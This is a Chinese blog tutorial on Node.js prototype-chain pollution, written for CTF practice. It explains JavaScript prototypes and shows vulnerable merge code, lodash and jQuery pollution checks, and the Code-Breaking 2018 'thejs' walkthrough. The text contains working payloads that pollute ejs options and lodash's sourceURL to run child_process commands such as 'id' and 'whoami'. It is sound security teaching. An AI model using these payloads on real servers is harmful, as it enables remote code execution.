浅谈 Nodejs原型链污染

一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞

p讲解的十分清楚,因此下面举例子就直接用p的例子进行解释了

目录

<1> Node.js基础

(1) 类与构造函数(constructor)

(2) 同步和异步

(3) fs模块

(4) child_process模块

<2> 什么是原型链

(1) prototype

(2) __proto__

(3) 原型链的继承思想

<3> 原型链污染

(1) 简单介绍

 (2) merge操作导致原型链污染

 (3) ejs污染

(4) lodash污染

(5) JQuery污染

Code-Breaking 2018 Thejs

Xnuca2019 Hardjs


<1> Node.js基础

简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础

node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用

这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的

(1) 类与构造函数(constructor)

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义: 

 一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部: 

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

如上段代码:Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。 

 这段代码功能就是 定义一个Foo类,调用Foo类的show方法,会输出它的 bar 属性

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了

后面会提到

(2) 同步和异步

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

(3) fs模块

node.js的文件操作模块,我们本地建立一个sd.txt

它的同步函数:readFileSync,异步函数:readFile

var fs = require("fs");

// 异步读取
fs.readFile('sd.txt', function (err, data) {
   if (err) {
       return console.error(err);
   }
   console.log("异步读取: " + data.toString());
});

// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());

console.log("程序执行完毕。");

同步读取: abcdefg
程序执行完毕。
异步读取: abcdefg

(4) child_process模块

child_process提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。

其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到

其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的

<2> 什么是原型链

(1) prototype

在JavaScript中,prototype对象是实现面向对象的一个重要机制。

它是函数所独有的,它是从一个函数指向一个对象

它的含义是函数的原型对象,也就是构造函数(constructor)所创建的实例的原型对象

个人觉得,它就相当于是类的一个实例的模板, 原型的对象。生成的对象都会参照这个原型对象

生成实例化对象时,如果自己没有的属性prototype有,就会继承此属性,有的话则不会覆盖。

例如看下面这段js代码:

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建一个show()函数,功能为输出 this.bar

我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,

包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

(2) __proto__

 如上面所说,我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。

这时候,就该__proto__登场了

不同于prototype是函数特有的,它是对象所独有的proto属性都是由一个对象指向一个对象

即指向它们的原型对象(也可以理解为父对象)

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ === Foo.prototype (True)

即:

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法。

一个对象的__proto__属性,指向这个对象所在的类的prototype属性

(3) 原型链的继承思想

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)

 Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

浅谈 Nodejs原型链污染_第1张图片

 总结一下,对于对象son,在console.log() 调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

类似于Java里面继承的思想,如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态

浅谈 Nodejs原型链污染_第2张图片

 JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

<3> 原型链污染

(1) 简单介绍

  • 在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["aa", "lisi", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

 先来看一个简单的示例:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
 foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

console.log(foo.__proto__)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

首先建立一个foo对象,有一个bar属性为1. 此时它的原型对象 并没有,后面通过 foo.__proto__指向了它的原型对象,也就等价于是 foo.prototype,即object。给 object 原型对象增加了bar属性,值为二 。 现在 object 有了(一个bar=2的prototype原型对象)。

浅谈 Nodejs原型链污染_第3张图片后面我们再次 let zoo = {} ,zoo对象是空的

但是在我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.prototype.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。


这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染

 (2) merge操作导致原型链污染

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

merge操作是最常见可能控制键名的操作,也最能被原型链攻击 

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__(json格式才可以被当成key),是不是就可以原型链污染呢?

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)
// 1 2
// 2

需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

 

 (3) ejs污染

参考:Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog

if (!this.source) {
  this.generateSource();
  prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
  if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
  }
  if (opts._with !== false) {
    prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
    appended += '  }' + '\n';
  }
  appended += '  return __output.join("");' + '\n';
  this.source = prepended + this.source + appended;
}

 这里有一个代码注入的漏洞

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码:

a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

放到代码里面看就是 

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'

这样看这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE

(4) lodash污染

CVE-2019-10744

lodash.defaultsDeep(obj,JSON.parse(objstr));

只需要有objstr

{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性

lodash 是一个非常流行的JavaScript工具库

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。

其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串

(5) JQuery污染

JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358 版本小于3.4.0时

浅谈 Nodejs原型链污染_第4张图片

可以看到

$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))

Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。

Code-Breaking 2018 Thejs

源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz

URL: code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub

 看一下主要的代码:server.js

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})
        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    // 定义session
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        // 获取post数据并合并
        data = lodash.merge(data, req.body)
        req.session.data = data
        // 再将data赋值给session
    }
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log('Example app listening on port 3000!'))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。那这个sourceURL是否可以被我们利用呢? 继续跟进

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

最后,这个sourceURL被拼接进 Function函数 的第二个参数中,造成任意代码执行漏洞

 通过构造global.process.mainModule.constructor._load('child_process').exec('ls')// 就可以执行任意代码了

注:这里不能用require  因为:ReferenceError: require is not defined

浅谈 Nodejs原型链污染_第5张图片

p神给了一个更好的payload:

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

p对payload里for循环的解释:

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉

Xnuca2019 Hardjs

Javascript 原型链污染 分析 | JrXnm' blog

相关文章:

Node.js 常见漏洞学习与总结 - 先知社区

深入理解 JavaScript Prototype 污染攻击 | 离别歌

你可能感兴趣的:(漏洞复现,javascript,前端)